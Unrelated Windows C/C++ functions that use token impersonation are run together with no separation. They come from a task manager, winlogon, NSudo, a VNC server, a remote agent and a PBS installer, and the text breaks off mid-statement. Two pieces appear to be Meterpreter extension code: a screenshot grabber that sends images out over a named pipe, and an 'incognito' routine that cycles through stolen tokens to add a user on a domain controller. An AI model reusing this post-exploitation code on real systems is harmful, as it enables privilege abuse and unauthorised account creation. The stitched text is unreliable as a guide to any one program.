pPerfData[Idx].WorkingSetSizeBytes = pSPI->TotalWorkingSetSizeBytes; pPerfData[Idx].PeakWorkingSetSizeBytes = pSPI->PeakWorkingSetSizeBytes; if (pPDOld) pPerfData[Idx].WorkingSetSizeDelta = labs((LONG)pSPI->TotalWorkingSetSizeBytes - (LONG)pPDOld->WorkingSetSizeBytes); else pPerfData[Idx].WorkingSetSizeDelta = 0; pPerfData[Idx].PageFaultCount = pSPI->PageFaultCount; if (pPDOld) pPerfData[Idx].PageFaultCountDelta = labs((LONG)pSPI->PageFaultCount - (LONG)pPDOld->PageFaultCount); else pPerfData[Idx].PageFaultCountDelta = 0; pPerfData[Idx].VirtualMemorySizeBytes = pSPI->TotalVirtualSizeBytes; pPerfData[Idx].PagedPoolUsagePages = pSPI->TotalPagedPoolUsagePages; pPerfData[Idx].NonPagedPoolUsagePages = pSPI->TotalNonPagedPoolUsagePages; pPerfData[Idx].BasePriority = pSPI->BasePriority; pPerfData[Idx].HandleCount = pSPI->HandleCount; pPerfData[Idx].ThreadCount = pSPI->ThreadCount; pPerfData[Idx].SessionId = pSPI->SessionId; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pSPI->ProcessId); if (hProcess) { if (OpenProcessToken(hProcess, TOKEN_QUERY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE, &hProcessToken)) { ImpersonateLoggedOnUser(hProcessToken); memset(szTemp, 0, sizeof(TCHAR[MAX_PATH])); dwSize = MAX_PATH; GetUserName(szTemp, &dwSize); #ifndef UNICODE MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, szTemp, -1, pPerfData[Idx].UserName, MAX_PATH); /* int MultiByteToWideChar( UINT CodePage, // code page DWORD dwFlags, // character-type options LPCSTR lpMultiByteStr, // string to map int cbMultiByte, // number of bytes in string LPWSTR lpWideCharStr, // wide-character buffer int cchWideChar // size of buffer ); */ #endif RevertToSelf(); CloseHandle(hProcessToken); } if (pGetGuiResources) { pPerfData[Idx].USERObjectCount = pGetGuiResources(hProcess, GR_USEROBJECTS); pPerfData[Idx].GDIObjectCount = pGetGuiResources(hProcess, GR_GDIOBJECTS); } if (pGetProcessIoCounters) pGetProcessIoCounters(hProcess, &pPerfData[Idx].IOCounters); CloseHandle(hProcess); } pPerfData[Idx].UserTime.QuadPart = pSPI->UserTime.QuadPart; pPerfData[Idx].KernelTime.QuadPart = pSPI->KernelTime.QuadPart; pSPI = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)pSPI + pSPI->RelativeOffset); } HeapFree(GetProcessHeap(), 0, pBuffer); LeaveCriticalSection(&PerfDataCriticalSection); }
void PerfDataRefresh() { LONG status; ULONG ulSize; LPBYTE pBuffer; ULONG Idx, Idx2; PSYSTEM_PROCESS_INFORMATION pSPI; PPERFDATA pPDOld; #ifdef EXTRA_INFO HANDLE hProcess; HANDLE hProcessToken; TCHAR szTemp[MAX_PATH]; DWORD dwSize; #endif #ifdef TIMES LARGE_INTEGER liCurrentKernelTime; LARGE_INTEGER liCurrentIdleTime; LARGE_INTEGER liCurrentTime; #endif PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION SysProcessorTimeInfo; SYSTEM_TIMEOFDAY_INFORMATION SysTimeInfo; #ifdef TIMES // Get new system time status = NtQuerySystemInformation(SystemTimeInformation, &SysTimeInfo, sizeof(SysTimeInfo), 0); if (status != NO_ERROR) return; #endif // Get processor information SysProcessorTimeInfo = (PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)malloc(sizeof(SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION) * SystemBasicInfo.NumberOfProcessors); status = NtQuerySystemInformation(SystemProcessorPerformanceInformation, SysProcessorTimeInfo, sizeof(SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION) * SystemBasicInfo.NumberOfProcessors, &ulSize); // Get process information PsaCaptureProcessesAndThreads((PSYSTEM_PROCESS_INFORMATION *)&pBuffer); #ifdef TIMES liCurrentKernelTime.QuadPart = 0; liCurrentIdleTime.QuadPart = 0; for (Idx=0; Idx<SystemBasicInfo.NumberOfProcessors; Idx++) { liCurrentKernelTime.QuadPart += SysProcessorTimeInfo[Idx].KernelTime.QuadPart; liCurrentKernelTime.QuadPart += SysProcessorTimeInfo[Idx].DpcTime.QuadPart; liCurrentKernelTime.QuadPart += SysProcessorTimeInfo[Idx].InterruptTime.QuadPart; liCurrentIdleTime.QuadPart += SysProcessorTimeInfo[Idx].IdleTime.QuadPart; } // If it's a first call - skip idle time calcs if (liOldIdleTime.QuadPart != 0) { // CurrentValue = NewValue - OldValue liCurrentTime.QuadPart = liCurrentIdleTime.QuadPart - liOldIdleTime.QuadPart; dbIdleTime = Li2Double(liCurrentTime); liCurrentTime.QuadPart = liCurrentKernelTime.QuadPart - liOldKernelTime.QuadPart; dbKernelTime = Li2Double(liCurrentTime); liCurrentTime.QuadPart = SysTimeInfo.CurrentTime.QuadPart - liOldSystemTime.QuadPart; dbSystemTime = Li2Double(liCurrentTime); // CurrentCpuIdle = IdleTime / SystemTime dbIdleTime = dbIdleTime / dbSystemTime; dbKernelTime = dbKernelTime / dbSystemTime; // CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors dbIdleTime = 100.0 - dbIdleTime * 100.0 / (double)SystemBasicInfo.NumberOfProcessors;// + 0.5; dbKernelTime = 100.0 - dbKernelTime * 100.0 / (double)SystemBasicInfo.NumberOfProcessors;// + 0.5; } // Store new CPU's idle and system time liOldIdleTime = liCurrentIdleTime; liOldSystemTime = SysTimeInfo.CurrentTime; liOldKernelTime = liCurrentKernelTime; #endif // Determine the process count // We loop through the data we got from PsaCaptureProcessesAndThreads // and count how many structures there are (until PsaWalkNextProcess // returns NULL) ProcessCountOld = ProcessCount; ProcessCount = 0; pSPI = PsaWalkFirstProcess((PSYSTEM_PROCESS_INFORMATION)pBuffer); while (pSPI) { ProcessCount++; pSPI = PsaWalkNextProcess(pSPI); } // Now alloc a new PERFDATA array and fill in the data if (pPerfDataOld) { free(pPerfDataOld); } pPerfDataOld = pPerfData; pPerfData = (PPERFDATA)malloc(sizeof(PERFDATA) * ProcessCount); pSPI = PsaWalkFirstProcess((PSYSTEM_PROCESS_INFORMATION)pBuffer); for (Idx=0; Idx<ProcessCount; Idx++) { // Get the old perf data for this process (if any) // so that we can establish delta values pPDOld = NULL; for (Idx2=0; Idx2<ProcessCountOld; Idx2++) { if (pPerfDataOld[Idx2].ProcessId == (ULONG)(pSPI->UniqueProcessId) && /* check also for the creation time, a new process may have an id of an old one */ pPerfDataOld[Idx2].CreateTime.QuadPart == pSPI->CreateTime.QuadPart) { pPDOld = &pPerfDataOld[Idx2]; break; } } // Clear out process perf data structure memset(&pPerfData[Idx], 0, sizeof(PERFDATA)); if (pSPI->ImageName.Buffer) { wcsncpy(pPerfData[Idx].ImageName, pSPI->ImageName.Buffer, pSPI->ImageName.Length / sizeof(WCHAR)); pPerfData[Idx].ImageName[pSPI->ImageName.Length / sizeof(WCHAR)] = 0; } else { #ifdef _UNICODE wcscpy(pPerfData[Idx].ImageName, lpIdleProcess); #else MultiByteToWideChar(CP_ACP, 0, lpIdleProcess, strlen(lpIdleProcess), pPerfData[Idx].ImageName, MAX_PATH); #endif } pPerfData[Idx].ProcessId = (ULONG)(pSPI->UniqueProcessId); pPerfData[Idx].CreateTime = pSPI->CreateTime; if (pPDOld) { #ifdef TIMES double CurTime = Li2Double(pSPI->KernelTime) + Li2Double(pSPI->UserTime); double OldTime = Li2Double(pPDOld->KernelTime) + Li2Double(pPDOld->UserTime); double CpuTime = (CurTime - OldTime) / dbSystemTime; CpuTime = CpuTime * 100.0 / (double)SystemBasicInfo.NumberOfProcessors; // + 0.5; pPerfData[Idx].CPUUsage = (ULONG)CpuTime; #else pPerfData[Idx].CPUUsage = 0; #endif } pPerfData[Idx].CPUTime.QuadPart = pSPI->UserTime.QuadPart + pSPI->KernelTime.QuadPart; pPerfData[Idx].WorkingSetSizeBytes = pSPI->WorkingSetSize; pPerfData[Idx].PeakWorkingSetSizeBytes = pSPI->PeakWorkingSetSize; if (pPDOld) pPerfData[Idx].WorkingSetSizeDelta = labs((LONG)pSPI->WorkingSetSize - (LONG)pPDOld->WorkingSetSizeBytes); else pPerfData[Idx].WorkingSetSizeDelta = 0; pPerfData[Idx].PageFaultCount = pSPI->PageFaultCount; if (pPDOld) pPerfData[Idx].PageFaultCountDelta = labs((LONG)pSPI->PageFaultCount - (LONG)pPDOld->PageFaultCount); else pPerfData[Idx].PageFaultCountDelta = 0; pPerfData[Idx].VirtualMemorySizeBytes = pSPI->VirtualSize; pPerfData[Idx].PagedPoolUsagePages = pSPI->QuotaPagedPoolUsage; pPerfData[Idx].NonPagedPoolUsagePages = pSPI->QuotaNonPagedPoolUsage; pPerfData[Idx].BasePriority = pSPI->BasePriority; pPerfData[Idx].HandleCount = pSPI->HandleCount; pPerfData[Idx].ThreadCount = pSPI->NumberOfThreads; //pPerfData[Idx].SessionId = pSPI->SessionId; #ifdef EXTRA_INFO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, (DWORD)pSPI->UniqueProcessId); if (hProcess) { if (OpenProcessToken(hProcess, TOKEN_QUERY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE, &hProcessToken)) { ImpersonateLoggedOnUser(hProcessToken); memset(szTemp, 0, sizeof(TCHAR[MAX_PATH])); dwSize = MAX_PATH; GetUserName(szTemp, &dwSize); #ifndef UNICODE MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, szTemp, -1, pPerfData[Idx].UserName, MAX_PATH); #endif RevertToSelf(); CloseHandle(hProcessToken); } CloseHandle(hProcess); } #endif #ifdef TIMES pPerfData[Idx].UserTime.QuadPart = pSPI->UserTime.QuadPart; pPerfData[Idx].KernelTime.QuadPart = pSPI->KernelTime.QuadPart; #endif pSPI = PsaWalkNextProcess(pSPI); } PsaFreeCapture(pBuffer); free(SysProcessorTimeInfo); }
static VOID RestoreAllConnections(PWLSESSION Session) { DWORD dRet; HANDLE hEnum; LPNETRESOURCE lpRes; DWORD dSize = 0x1000; DWORD dCount = -1; LPNETRESOURCE lpCur; BOOL UserProfile; UserProfile = (Session && Session->UserToken); if (!UserProfile) { return; } if (!ImpersonateLoggedOnUser(Session->UserToken)) { ERR("WL: ImpersonateLoggedOnUser() failed with error %lu\n", GetLastError()); return; } dRet = WNetOpenEnum(RESOURCE_REMEMBERED, RESOURCETYPE_DISK, 0, NULL, &hEnum); if (dRet != WN_SUCCESS) { ERR("Failed to open enumeration: %lu\n", dRet); goto quit; } lpRes = HeapAlloc(GetProcessHeap(), 0, dSize); if (!lpRes) { ERR("Failed to allocate memory\n"); WNetCloseEnum(hEnum); goto quit; } do { dSize = 0x1000; dCount = -1; memset(lpRes, 0, dSize); dRet = WNetEnumResource(hEnum, &dCount, lpRes, &dSize); if (dRet == WN_SUCCESS || dRet == WN_MORE_DATA) { lpCur = lpRes; for (; dCount; dCount--) { WNetAddConnection(lpCur->lpRemoteName, NULL, lpCur->lpLocalName); lpCur++; } } } while (dRet != WN_NO_MORE_ENTRIES); HeapFree(GetProcessHeap(), 0, lpRes); WNetCloseEnum(hEnum); quit: RevertToSelf(); }
int wmain(int argc, _TCHAR* argv[]) { //******** NSudoInitialize Start ******** NSudoReturnMessage(TextRes.NSudo_AboutText); if (argc == 1) bGUIMode = true; SetProcessDPIAware(); GetModuleFileNameW(NULL, szAppPath, 260); wcsrchr(szAppPath, L'\\')[0] = NULL; wcscpy_s(szShortCutListPath, 260, szAppPath); wcscat_s(szShortCutListPath, 260, L"\\ShortCutList.ini"); if (!SetCurrentProcessPrivilege(SE_DEBUG_NAME, true)) { if (bGUIMode) { wchar_t szExePath[260]; GetModuleFileNameW(NULL, szExePath, 260); ShellExecuteW(NULL, L"runas", szExePath, NULL, NULL, SW_SHOW); return 0; } else { NSudoReturnMessage(TextRes.NSudo_Error_Text1); return -1; } } //******** NSudoInitialize End ******** if (bGUIMode) { FreeConsole(); DialogBoxParamW(GetModuleHandleW(NULL), MAKEINTRESOURCEW(IDD_NSudoDlg), NULL, NSudoDlgCallBack, 0L); } else { bool bUserArgEnable = true; bool bPrivilegeArgEnable = true; bool bIntegrityArgEnable = true; bool bCMDLineArgEnable = true; wchar_t *szBuffer = NULL; HANDLE hUserToken = INVALID_HANDLE_VALUE; for (int i = 1; i < argc; i++) { if (_wcsicmp(argv[i], L"-?") == 0) { NSudoReturnMessage(TextRes.NSudoC_HelpText); return 0; } else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:T") == 0) { NSudoGetTrustedInstallerToken(&hUserToken); bUserArgEnable = false; } else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:S") == 0) { NSudoGetSystemToken(&hUserToken); bUserArgEnable = false; } else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:C") == 0) { NSudoGetCurrentUserToken(&hUserToken); bUserArgEnable = false; } else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:P") == 0) { NSudoGetCurrentProcessToken(&hUserToken); bUserArgEnable = false; } else if (bUserArgEnable && _wcsicmp(argv[i], L"-U:D") == 0) { NSudoCreateLUAToken(&hUserToken); bUserArgEnable = false; } else if (bPrivilegeArgEnable && _wcsicmp(argv[i], L"-P:E") == 0) { NSudoAdjustAllTokenPrivileges(hUserToken, true); bPrivilegeArgEnable = false; } else if (bPrivilegeArgEnable && _wcsicmp(argv[i], L"-P:D") == 0) { NSudoAdjustAllTokenPrivileges(hUserToken, false); bPrivilegeArgEnable = false; } else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:S") == 0) { SetTokenIntegrity(hUserToken, L"S-1-16-16384"); bIntegrityArgEnable = false; } else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:H") == 0) { SetTokenIntegrity(hUserToken, L"S-1-16-12288"); bIntegrityArgEnable = false; } else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:M") == 0) { SetTokenIntegrity(hUserToken, L"S-1-16-8192"); bIntegrityArgEnable = false; } else if (bIntegrityArgEnable && _wcsicmp(argv[i], L"-M:L") == 0) { SetTokenIntegrity(hUserToken, L"S-1-16-4096"); bIntegrityArgEnable = false; } else if (bCMDLineArgEnable) { wchar_t szPath[260]; DWORD dwLength = GetPrivateProfileStringW(argv[i], L"CommandLine", L"", szPath, 260, szShortCutListPath); wcscmp(szPath, L"") != 0 ? szBuffer = szPath : szBuffer = argv[i]; if (szBuffer) bCMDLineArgEnable = false; } } if (bUserArgEnable || bCMDLineArgEnable) { NSudoReturnMessage(TextRes.NSudo_Error_Text4); return -1; } else { if (NSudoImpersonateSystemToken()) { if (!NSudoCreateProcess(hUserToken, szBuffer)) { NSudoReturnMessage(TextRes.NSudo_Error_Text3); } RevertToSelf(); } } CloseHandle(hUserToken); } return 0; }
// CurrentUser - fills a buffer with the name of the current user! BOOL GetCurrentUser(char *buffer, UINT size) // RealVNC 336 change { // How to obtain the name of the current user depends upon the OS being used if ((g_platform_id == VER_PLATFORM_WIN32_NT) && vncService::RunningAsService()) { // Windows NT, service-mode // -=- FIRSTLY - verify that a user is logged on // Receive the current Window station HWINSTA station = GetProcessWindowStation(); if (station == NULL) return FALSE; // Receive the current user SID size DWORD usersize; GetUserObjectInformation(station, UOI_USER_SID, NULL, 0, &usersize); DWORD dwErrorCode = GetLastError(); SetLastError(0); // Check the required buffer size isn't zero if (usersize == 0) { // No user is logged in - ensure we're not impersonating anyone RevertToSelf(); g_impersonating_user = FALSE; // Return "" as the name... if (strlen("") >= size) return FALSE; strcpy(buffer, ""); return TRUE; } // -=- SECONDLY - a user is logged on but if we're not impersonating // them then we can't continue! if (!g_impersonating_user) { // Return "" as the name... if (strlen("") >= size) return FALSE; strcpy(buffer, ""); return TRUE; } } // -=- When we reach here, we're either running under Win9x, or we're running // under NT as an application or as a service impersonating a user // Either way, we should find a suitable user name. switch (g_platform_id) { case VER_PLATFORM_WIN32_WINDOWS: case VER_PLATFORM_WIN32_NT: { // Just call GetCurrentUser DWORD length = size; if (GetUserName(buffer, &length) == 0) { UINT error = GetLastError(); if (error == ERROR_NOT_LOGGED_ON) { // No user logged on if (strlen("") >= size) return FALSE; strcpy(buffer, ""); return TRUE; } else { // Genuine error... //vnclog.Print(LL_INTERR, VNCLOG("getusername error %d\n"), GetLastError()); Log.WinError(_ERROR_, "getusername error %d", GetLastError()); return FALSE; } } } return TRUE; }; // OS was not recognised! return FALSE; }
int newagent::start_process(const char *command,int & error_code,const char * local_dir,const char * user,const char * password) { error_code=0; #ifdef _WIN32 PROCESS_INFORMATION process; STARTUPINFO si; HANDLE res=0; bool ok=false; HANDLE other_user=0; #ifdef _DEBUG if (!strcmp(command,"forceerror")) *((int *)0)=5; #endif memset(&si,0,sizeof(si)); si.cb = sizeof(si); si.lpTitle = (char*)command; si.wShowWindow = SW_SHOWDEFAULT; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; char current_dir[256]=" ;103<;01",c_dir[256]; if (local_dir&&*local_dir) { strcpy(c_dir,local_dir); } else { if (!is_debug_session&&read_key("03",(unsigned char *)current_dir,sizeof(current_dir))) { char * finger=current_dir; int bs=4; while (*finger&&bs) { if (*finger=='\\') bs--; finger++; } if (*finger) sprintf(c_dir,maped_drive"\\%s",finger); else sprintf(c_dir,maped_drive"\\"); } else strcpy(c_dir,"."); } if (is_debug_session) { ok=(bool)CreateProcess(NULL,(char*)command,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS,NULL,c_dir,&si,&process); if (!ok) error_code=GetLastError(); } else { if (!local_dir&&!drive_maped) do_map_drive(error_code); if(!error_code) { HANDLE uh=server_user; if (user&&*user) { logonu(other_user,unscr((char*)user),unscr((char*)password),error_code); uh=other_user; } if (!error_code) { if (!ImpersonateLoggedOnUser(uh)) error_code=GetLastError(); if (!error_code) { char saved_dir[256]; if (!GetCurrentDirectory(sizeof(saved_dir),saved_dir)) { logfile("GetCurrentDirectory failed\r\n"); error_code=GetLastError(); } else { if (!SetCurrentDirectory(c_dir)) { error_code=GetLastError(); if (error_code==2) error_code=267; logfile ("SetCurrentDirectory failed %s %i\r\n",c_dir,error_code); } else { ok=(bool)CreateProcessAsUser( uh,NULL,(char*)command,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS,NULL,c_dir,&si,&process); if (!ok) error_code=GetLastError(); if (ok&&!SetCurrentDirectory(saved_dir)) { logfile("restore current dirctory failed %s\r\n",saved_dir); error_code=GetLastError(); } } } RevertToSelf(); } } } } if (ok) { res=process.hProcess; CloseHandle(process.hThread); logfile("Process started: %s\r\n",command); } else { logfile("Process failed: %s error(%i) %s\r\n",command,error_code,c_dir); } if (other_user) CloseHandle(other_user); if (ok) return (int)res; else return 0; #else // if (is_debug_session) { long res; _chdir(cur_dir); pid_t pid; if (invoke_program(command, res, false, NULL, NULL, &pid)) return pid; printf("invoke_program error %d\n", res); error_code=res; logfile("Process failed: %s error(%i) %s\r\n",command,error_code,cur_dir); /* not sure these should be freed here free(user); free(password); */ return 0; } #endif }
/* * Take a screenshot of this sessions default input desktop on WinSta0 * and send it as a JPEG image to a named pipe. */ DWORD screenshot( int quality, DWORD dwPipeName ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HWINSTA hOrigWindowStation = NULL; HDESK hInputDesktop = NULL; HDESK hOrigDesktop = NULL; HWND hDesktopWnd = NULL; HDC hdc = NULL; HDC hmemdc = NULL; HBITMAP hbmp = NULL; BYTE * pJpegBuffer = NULL; OSVERSIONINFO os = {0}; char cNamedPipe[MAX_PATH] = {0}; // If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display. int xmetric = SM_CXVIRTUALSCREEN; int ymetric = SM_CYVIRTUALSCREEN; DWORD dwJpegSize = 0; int sx = 0; int sy = 0; do { _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" ) // On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN. if( os.dwMajorVersion <= 4 ) { xmetric = SM_CXSCREEN; ymetric = SM_CYSCREEN; } // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // get the current process's window station so we can restore it later on. hOrigWindowStation = GetProcessWindowStation(); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" ); // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" ); // get the threads current desktop so we can restore it later on hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); // and now we can grab a handle to this input desktop hDesktopWnd = GetDesktopWindow(); // and get a DC from it so we can read its pixels! hdc = GetDC( hDesktopWnd ); if( !hdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" ); // back up this DC with a memory DC hmemdc = CreateCompatibleDC( hdc ); if( !hmemdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" ); // calculate the width and height sx = GetSystemMetrics( xmetric ); sy = GetSystemMetrics( ymetric ); // and create a bitmap hbmp = CreateCompatibleBitmap( hdc, sx, sy ); if( !hbmp ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" ); // this bitmap is backed by the memory DC if( !SelectObject( hmemdc, hbmp ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" ); // BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" ); // finally convert the BMP we just made into a JPEG... if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE ); // we have succeded dwResult = ERROR_SUCCESS; } while( 0 ); // if we have successfully taken a screenshot we send it back via the named pipe // but if we have failed we send back a zero byte result to indicate this failure. if( dwResult == ERROR_SUCCESS ) screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize ); else screenshot_send( cNamedPipe, NULL, 0 ); if( hdc ) ReleaseDC( hDesktopWnd, hdc ); if( hmemdc ) DeleteDC( hmemdc ); if( hbmp ) DeleteObject( hbmp ); // free the jpeg images buffer if( pJpegBuffer ) free( pJpegBuffer ); // restore the origional process's window station if( hOrigWindowStation ) SetProcessWindowStation( hOrigWindowStation ); // restore the threads origional desktop if( hOrigDesktop ) SetThreadDesktop( hOrigDesktop ); // close the WinSta0 window station handle we opened if( hWindowStation ) CloseWindowStation( hWindowStation ); // close this last to avoid a handle leak... if( hInputDesktop ) CloseDesktop( hInputDesktop ); return dwResult; }
bool UserUtilities::RevertToMainUser() { return RevertToSelf(); }
bool RevertCurrentUser() { return (FALSE != RevertToSelf()); }
DWORD request_incognito_add_user(Remote *remote, Packet *packet) { USER_INFO_1 ui; DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i; NET_API_STATUS nStatus; SavedToken *token_list = NULL; HANDLE saved_token; char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = ""; wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE]; // Read arguments Packet *response = packet_create_response(packet); dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); password = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); mbstowcs(password_u, password, strlen(password)+1); ui.usri1_name = username_u; ui.usri1_password = password_u; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; // Save current thread token if one is currently being impersonated if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) saved_token = INVALID_HANDLE_VALUE; token_list = get_token_list(&num_tokens); if (!token_list) { sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); goto cleanup; } sprintf(return_value, "[*] Attempting to add user %s to host %s\n", username, dc_netbios_name); // Attempt to add user with every token for (i=0;i<num_tokens;i++) if (token_list[i].token) { // causes major problems (always error 127) once you have impersonated this token once. No idea why!!! if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username)) continue; ImpersonateLoggedOnUser(token_list[i].token); nStatus = NetUserAdd(dc_netbios_name_u, 1, (LPBYTE)&ui, &dwError); RevertToSelf(); switch (nStatus) { case ERROR_ACCESS_DENIED: case ERROR_LOGON_FAILURE: // unknown username or bad password case ERROR_INVALID_PASSWORD: break; case NERR_Success: strncat(return_value, "[+] Successfully added user\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_InvalidComputer: strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_NotPrimary: strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_GroupExists: strncat(return_value, "[-] Group already exists\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_UserExists: strncat(return_value, "[-] User already exists\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_PasswordTooShort: strncat(return_value,"[-] Password does not meet complexity requirements\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; default: sprintf(temp, "[-] Unknown error: %d\n", nStatus); strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1); goto cleanup; } } strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1); cleanup: for (i=0;i<num_tokens;i++) CloseHandle(token_list[i].token); free(token_list); packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); packet_transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) ImpersonateLoggedOnUser(saved_token); return ERROR_SUCCESS; }
/** * @brief * add_service_account: creates the PBS service account if it doesn't exist, * otherwise, validate the password against the existing the service * account. * * @param[in] password - The password to be validated. * * @return int */ int add_service_account(char *password) { char dname[PBS_MAXHOSTNAME+1]; char dctrl[PBS_MAXHOSTNAME+1]; wchar_t unamew[UNLEN+1]; wchar_t dnamew[UNLEN+1]; wchar_t dctrlw[PBS_MAXHOSTNAME+1]; NET_API_STATUS nstatus; USER_INFO_1 *ui1_ptr = NULL; /* better indicator of lookup */ /* permission */ struct passwd *pw = NULL; char sa_name[PBS_MAXHOSTNAME+UNLEN+2]; /* service account fullname */ /* domain\user\0 */ int ret_val = 0; int in_domain_environment; USER_INFO_1 ui; wchar_t passwordw[LM20_PWLEN+1]; /* find domain name, group name to add service account to */ in_domain_environment = GetComputerDomainName(dname); strcpy(dctrl, dname); if (in_domain_environment) { char dname_a[PBS_MAXHOSTNAME+1]; get_dcinfo(dname, dname_a, dctrl); } mbstowcs(unamew, service_accountname, UNLEN+1); mbstowcs(dnamew, dname, PBS_MAXHOSTNAME+1); mbstowcs(dctrlw, dctrl, PBS_MAXHOSTNAME+1); /* create account if it doesn't exist */ /* FIX: Perform the following "if action" if either */ /* 1) in a domain environment, and the */ /* executing account (i.e. intaller) is an account in */ /* the domain, */ /* 2) in a standalone environment, and the */ /* executing account (i.e. installer) is a local account */ /* in the local computer. */ /* This fix is needed as during testing, I was finding that */ /* the local "Administrator" account itself has permission */ /* to query the domain, and to create accounts on the domain. */ /* However, the created domain "pbsadmin" account would have */ /* weirdness to it in that attempts to impersonate it would */ /* initially fail, and even after adding the account to the */ /* local "Administrators" group, that user entry on the group */ /* would suddenly disappear. */ if ((stricmp(exec_dname, dname) == 0) && ((nstatus=wrap_NetUserGetInfo(dctrlw, unamew, 1, (LPBYTE *)&ui1_ptr)) == NERR_UserNotFound)) { mbstowcs(passwordw, password, LM20_PWLEN+1); ui.usri1_name = (wchar_t *)unamew; ui.usri1_password = (wchar_t *)passwordw; ui.usri1_password_age = 0; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_PASSWD_CANT_CHANGE|UF_DONT_EXPIRE_PASSWD; ui.usri1_script_path = NULL; if (for_info_only) nstatus = NERR_Success; else nstatus=NetUserAdd(dctrlw, 1, (LPBYTE)&ui, NULL); if ((nstatus != NERR_Success) && (nstatus != NERR_UserExists)) { fprintf(stderr, "Failed to create %s\\%S: error status=%d\n", dname, unamew, nstatus); goto end_add_service_account; } printf("%s 